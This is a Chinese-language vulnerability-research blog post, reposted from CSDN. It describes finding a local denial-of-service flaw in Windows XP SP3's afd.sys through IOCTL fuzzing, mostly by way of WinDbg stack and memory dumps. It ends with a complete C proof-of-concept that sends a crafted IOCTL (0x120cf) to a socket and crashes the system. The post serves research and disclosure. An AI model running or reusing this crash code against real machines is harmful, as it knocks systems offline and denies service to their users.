标签：
标 题: WindowsXP SP3 AFD.sys 本地拒绝服务漏洞的挖掘过程
时 间: 2013-03-17,15:22:33
这是本人第一次做漏洞挖掘，2月的时候开始研究漏洞挖掘技术，2月24号那天在进行Fuzz测试的时候偶然的发现了一个afd.sys未处理的异常，然后就对这个异常如获至宝的分析起来了，因为在上班，所以都是利用周末时间来进行，前前后后到加起来差不多5天时间。现在这个漏洞的原因以及低层次的利用已经全部完成，所以拿出来跟大家分享一下，虽然挖到现在只挖出了本地拒绝服务的用处，在如今0Day满天飞的年代这个Vulnerability的价值微乎其微，但是对于我个人来说意义很大，毕竟是第一次做漏洞分析，对于把分析问题的思路从工作惯性转向漏洞挖掘有不少帮助（我的工作平时接触最多的就是，栈，一天到晚就是抓栈，分析栈，也经常抓dump，分析dump，但是工作的目的不是挖掘漏洞，所以我要转型挖漏洞需要最大的改变就是工作时候的目的性）。好了，不废话了，下面把从最初发现这个漏洞到写出这篇文章的过程详细的写出来。
1 Fuzz发现afd.sys发生未处理的ExRaiseDatatypeMisalignment异常。
Pic1
2 异常原因探究
上图圈起来的数据都是需要关注的，到这里，我们就要先看一看详细情况，首先看【栈】：
kd> kvn # ChildEBP RetAddr Args to Child 00 b19698cc 8060d5a4 8060d550 b1969a14 b246db47 nt!ExRaiseDatatypeMisalignment+0xa (FPO: [0,0,0]) 01 b19698d8 b246db47 5fcaa03a 00000004 00000004 nt!ProbeForWrite+0x54 (FPO: [Non-Fpo]) //# 02 b1969a14 805768eb 821c45d0 00000001 00f3fd20 afd!AfdFastIoDeviceControl+0x4a9 (FPO: [Non-Fpo]) //# 03 b1969ac4 8056f4de 00000230 00000000 00000000 nt!IopXxxControlFile+0x261 (FPO: [Non-Fpo]) *** ERROR: Symbol file could not be found. Defaulted to export symbols for IOCTL_fuzzer.sys - 04 b1969af8 b16dfed5 00000230 00000000 00000000 nt!NtDeviceIoControlFile+0x2a (FPO: [Non-Fpo]) //# WARNING: Stack unwind information not available. Following frames may be wrong. 05 b1969b8c b16e05c3 00000001 00000230 00000000 IOCTL_fuzzer+0x4ed5 06 b1969c80 b16e0b9b 00000001 824a4380 00000230 IOCTL_fuzzer+0x55c3 07 b1969d34 8053e658 00000230 000002c0 00000000 IOCTL_fuzzer+0x5b9b 08 b1969d34 7c92e514 00000230 000002c0 00000000 nt!KiFastCallEntry+0xf8 (FPO: [0,0] TrapFrame @ b1969d64) 09 00f3fce0 7c92d28a 719c7425 00000230 000002c0 ntdll!KiFastSystemCallRet (FPO: [0,0,0]) 0a 00f3fce4 719c7425 00000230 000002c0 00000000 ntdll!ZwDeviceIoControlFile+0xc (FPO: [10,0,0]) //# 0b 00f3fe78 7c930041 00090718 000bb8e0 0000605d 0x719c7425 0c 00f3ff60 7c947bc5 00000000 000badc8 000bc038 ntdll!RtlFreeHeap+0x1e9 (FPO: [Non-Fpo]) 0d 00f3ff74 7c947b9c 7c947ae9 00000000 000badc8 ntdll!RtlpApcCallout+0x11 (FPO: [Non-Fpo]) 0e 00f3ffb4 7c80b729 00000000 00000000 00000000 ntdll!RtlpWorkerThread+0x87 (FPO: [Non-Fpo]) 0f 00f3ffec 00000000 7c930250 00000000 00000000 0x7c80b729
kd> .frame 1 01 b19698d8 b246db47 nt!ProbeForWrite+0x54 kd> dds b19698d8 L9 b19698d8 b1969a14 b19698dc b246db47 afd!AfdFastIoDeviceControl+0x4a9 b19698e0 5fcaa03a // Address b19698e4 00000004 // Length b19698e8 00000004 // Alignment b19698ec 824182a0 b19698f0 821c45d0 b19698f4 b246b030 afd!AfdFastIoDispatch b19698f8 00000000
kd> .frame 4 04 b1969af8 b16dfed5 nt!NtDeviceIoControlFile+0x2a kd> dds b1969af8 L10 b1969af8 b1969b8c b1969afc b16dfed5 IOCTL_fuzzer+0x4ed5 b1969b00 00000230 // FileHandle b1969b04 00000000 // Event b1969b08 00000000 // ApcRoutine b1969b0c 00000000 // IoStatusBlock b1969b10 00f3fd4c // ApcContext b1969b14 000120cf // IoControlCode b1969b18 00f3fd20 // InputBuffer b1969b1c 0000002a // InputBufferLength b1969b20 00000000 // OutputBuffer b1969b24 00000000 // OutputBufferLength b1969b28 805738c1 nt!NtWriteFile+0x607 b1969b2c b1969be8 b1969b30 b1969c84 b1969b34 805732ba nt!NtWriteFile
kd> lm m afd* start end module name b2469000 b248ad00 afd (pdb symbols) f:\kernelsymbols\afd.pdb\5A0F2680051E40FCB82FED32C46BC9662\afd.pdb kd> ?b246db47-b2469000 Evaluate expression: 19271 = 00004b47
RtlCopyMemory(pDst, ebx, 0x24);
kd> .frame 4 04 b1969af8 b16dfed5 nt!NtDeviceIoControlFile+0x2a kd> dds b1969af8 L10 b1969af8 b1969b8c b1969afc b16dfed5 IOCTL_fuzzer+0x4ed5 b1969b00 00000230 // FileHandle b1969b04 00000000 // Event b1969b08 00000000 // ApcRoutine b1969b0c 00000000 // IoStatusBlock b1969b10 00f3fd4c // ApcContext b1969b14 000120cf // IoControlCode b1969b18 00f3fd20 // InputBuffer b1969b1c 0000002a // InputBufferLength b1969b20 00000000 // OutputBuffer b1969b24 00000000 // OutputBufferLength b1969b28 805738c1 nt!NtWriteFile+0x607 b1969b2c b1969be8 b1969b30 b1969c84 b1969b34 805732ba nt!NtWriteFile kd> ?ebx // 这里只是恰好在发生异常的时候Ebx的值没有被改变，其他情况如果ebx的值被改变了的话，就需要重新启动调试，打好断点然后再查看。 Evaluate expression: 15990048 = 00f3fd20
kd> dd 00f3fd20 LC 00f3fd20 89cf8909 bd625e8e 0a224464 7632e035 00f3fd30 c3de460d ecd5cffd ea3d8d76 cba3477a 00f3fd40 5fcaa03a 000bbbc0 000bbbc0 00000103 kd> .frame 2 02 b1969a14 805768eb afd!AfdFastIoDeviceControl+0x4a9 kd> dd b1969a14-0x50 LC b19699c4 89cf8909 bd625e8e 0a224464 7632e035 b19699d4 c3de460d ecd5cffd ea3d8d76 cba3477a b19699e4 5fcaa03a 00000000 e21c8460 822a52c0
IoCtlCode = 0x000120cf;
DWORD InputBuffer[9] =
{
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x1, // 关键值 在afd!afdFastDeviceIoControl中进行ProbeForWrite(x,4,4)
0x1 // 关键值 在afd!afdFastDeviceIoControl中进行ProbeForWrite(x,4,4)
};
kd> .frame 4
04 b1969af8 b16dfed5 nt!NtDeviceIoControlFile+0x2a
kd> dds b1969af8 L10
b1969af8 b1969b8c
b1969afc b16dfed5 IOCTL_fuzzer+0x4ed5
b1969b00 00000230
b1969b04 00000000
b1969b08 00000000
b1969b0c 00000000
b1969b10 00f3fd4c
b1969b14 000120cf
b1969b18 00f3fd20
b1969b1c 0000002a
b1969b20 00000000
b1969b24 00000000
kd> !handle 00000230 // 查看这个Hande的对象
PROCESS 8221dd08 SessionId: 0 Cid: 0544 Peb: 7ffdb000 ParentCid: 02d8
DirBase: 0a2c01a0 ObjectTable: e16ea9d8 HandleCount: 171.
Image: svchost.exe
Handle table at e21c8000 with 171 entries in use
0230: Object: 821c45d0 GrantedAccess: 0012019f (Inherit) Entry: e21c8460
Object: 821c45d0 Type: (825eb040) File
ObjectHeader: 821c45b8 (old version)
HandleCount: 1 PointerCount: 3
Directory Object: 00000000 Name: \Endpoint {Afd}
kd> dt _FILE_OBJECT 821c45d0
ntdll!_FILE_OBJECT
+0x000 Type : 0n5
+0x002 Size : 0n112
+0x004 DeviceObject : 0x824182a0 _DEVICE_OBJECT
+0x008 Vpb : (null)
+0x00c FsContext : 0x822a52c0 Void
+0x010 FsContext2 : (null)
+0x014 SectionObjectPointer : (null)
+0x018 PrivateCacheMap : 0xffffffff Void
+0x01c FinalStatus : 0n0
+0x020 RelatedFileObject : (null)
+0x024 LockOperation : 0 ‘‘
+0x025 DeletePending : 0 ‘‘
+0x026 ReadAccess : 0 ‘‘
+0x027 WriteAccess : 0 ‘‘
+0x028 DeleteAccess : 0 ‘‘
+0x029 SharedRead : 0 ‘‘
+0x02a SharedWrite : 0 ‘‘
+0x02b SharedDelete : 0 ‘‘
+0x02c Flags : 0x40000
+0x030 FileName : _UNICODE_STRING "\Endpoint"
+0x038 CurrentByteOffset : _LARGE_INTEGER 0x0
+0x040 Waiters : 0
+0x044 Busy : 0
+0x048 LastLock : (null)
+0x04c Lock : _KEVENT
+0x05c Event : _KEVENT
+0x06c CompletionContext : (null)
kd> dw 0x822a52c0 L8 822a52c0 afd1 0002 89af 001b 0011 0000 0010 0000
kd> db 0x822a52c0 +2 L8 822a52c2 02 00 af 89 1b 00 11 00
kd> kvn # ChildEBP RetAddr Args to Child 00 b1969398 804f8bad 00000003 80000002 00000000 nt!RtlpBreakWithStatusInstruction (FPO: [1,0,0]) 01 b19693e4 804f979a 00000003 00000000 c0400000 nt!KiBugCheckDebugBreak+0x19 (FPO: [Non-Fpo]) 02 b19697c4 804f9cc5 00000050 80000002 00000000 nt!KeBugCheck2+0x574 (FPO: [Non-Fpo]) 03 b19697e4 8051dc67 00000050 80000002 00000000 nt!KeBugCheckEx+0x1b (FPO: [Non-Fpo]) 04 b1969844 80541554 00000000 80000002 00000000 nt!MmAccessFault+0x8e7 (FPO: [Non-Fpo]) 05 b1969844 80000002 00000000 80000002 00000000 nt!KiTrap0E+0xcc (FPO: [0,0] TrapFrame @ b196985c) WARNING: Frame IP not in any known module. Following frames may be wrong. 06 b19698cc 8060d5a4 8060d550 b1969a14 b246db47 0x80000002 07 b19698d8 b246db47 5fcaa03a 00000004 00000004 nt!ProbeForWrite+0x54 (FPO: [Non-Fpo]) 08 b1969a14 805768eb 821c45d0 00000001 00f3fd20 afd!AfdFastIoDeviceControl+0x4a9 (FPO: [Non-Fpo]) 09 b1969ac4 8056f4de 00000230 00000000 00000000 nt!IopXxxControlFile+0x261 (FPO: [Non-Fpo]) 0a b1969af8 b16dfed5 00000230 00000000 00000000 nt!NtDeviceIoControlFile+0x2a (FPO: [Non-Fpo]) 0b b1969b8c b16e05c3 00000001 00000230 00000000 IOCTL_fuzzer+0x4ed5 0c b1969c80 b16e0b9b 00000001 824a4380 00000230 IOCTL_fuzzer+0x55c3 0d b1969d34 8053e658 00000230 000002c0 00000000 IOCTL_fuzzer+0x5b9b 0e b1969d34 7c92e514 00000230 000002c0 00000000 nt!KiFastCallEntry+0xf8 (FPO: [0,0] TrapFrame @ b1969d64) 0f 00f3fce0 7c92d28a 719c7425 00000230 000002c0 ntdll!KiFastSystemCallRet (FPO: [0,0,0]) 10 00f3fce4 719c7425 00000230 000002c0 00000000 ntdll!ZwDeviceIoControlFile+0xc (FPO: [10,0,0]) 11 00f3fd84 75ba87f8 00000230 00f3fdb4 00f3fde4 mswsock!MSAFD_WSPRecvMsg+0x15f (FPO: [Non-Fpo]) 12 00f3fe10 75ba2aa8 00000230 00f3fe74 00f3fe70 ssdpsrv!SocketReceive+0xcf (FPO: [Non-Fpo]) 13 00f3fe8c 7c947e91 000bb8e0 000bad00 000badc8 ssdpsrv!SsdpNetProc+0xab (FPO: [Non-Fpo]) 14 00f3fed8 7c94b0a1 75ba29fd 000bb8e0 000bad00 ntdll!RtlpWaitOrTimerCallout+0x73 (FPO: [Non-Fpo]) 15 00f3fef8 7c947ac2 000badc8 7c99e440 000bc038 ntdll!RtlpAsyncWaitCallbackCompletion+0x25 (FPO: [Non-Fpo]) 16 00f3ff40 7c947b03 7c94b07c 000badc8 00000000 ntdll!RtlpWorkerCallout+0x70 (FPO: [Non-Fpo]) 17 00f3ff60 7c947bc5 00000000 000badc8 000bc038 ntdll!RtlpExecuteWorkerRequest+0x1a (FPO: [Non-Fpo]) 18 00f3ff74 7c947b9c 7c947ae9 00000000 000badc8 ntdll!RtlpApcCallout+0x11 (FPO: [Non-Fpo]) 19 00f3ffb4 7c80b729 00000000 00000000 00000000 ntdll!RtlpWorkerThread+0x87 (FPO: [Non-Fpo]) 1a 00f3ffec 00000000 7c930250 00000000 00000000 kernel32!BaseThreadStart+0x37 (FPO: [Non-Fpo])
/************************************************************* *
* afd.sys LocalDDos proof of concept
* tishion#163.com
* 2013/03/17
*
\*************************************************************/
#include <tchar.h>
#include <stdio.h>
#include "winsock2.h"
#pragma comment(lib, "Ws2_32.lib")
void _tmain()
{
WSADATA wsaData;
int iResult = WSAStartup(MAKEWORD(2,2), &wsaData);
if (iResult != NO_ERROR)
{
_tprintf(_T("Error at WSAStartup()\n"));
}
SOCKET Socket;
Socket = socket(AF_INET, SOCK_DGRAM, 0);
if (Socket == INVALID_SOCKET)
{
_tprintf(_T("Error at socket(): %ld\n"), WSAGetLastError());
WSACleanup();
return;
}
sockaddr_in service;
service.sin_family = AF_INET;
service.sin_addr.s_addr = inet_addr("127.0.0.1");
service.sin_port = htons(27015);
if (SOCKET_ERROR == bind(Socket, (SOCKADDR*) &service, sizeof(service)))
{
_tprintf(_T("Error at bind(): %ld\n"), WSAGetLastError());
closesocket(Socket);
WSACleanup();
return;
}
DWORD dwBytesReturned = 0;
DWORD InputBuffer[9] =
{
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x1, // 关键值 在afd!afdFastDeviceIoControl中把这个值传入ProbeForWrite(x,x,x)
0x1 // 关键值 在afd!afdFastDeviceIoControl中把这个值传入ProbeForWrite(x,x,x)
};
BOOL bRet = DeviceIoControl((HANDLE)Socket, 0x000120cf, &InputBuffer, 0x24, NULL, 0, &dwBytesReturned, NULL);
//////////////////////////////////////////////////////////////////////////
// 后面的代码没机会执行了，因为已经BSOD了
// 本着一个合格的程序员专业精神，还是把收尾工作的代码写好
closesocket(Socket);
WSACleanup();
return;
}
WindowsXP SP3 AFD.sys 本地拒绝服务漏洞的挖掘过程
标签：
原文地址：http://blog.csdn.net/otishiono/article/details/51524397
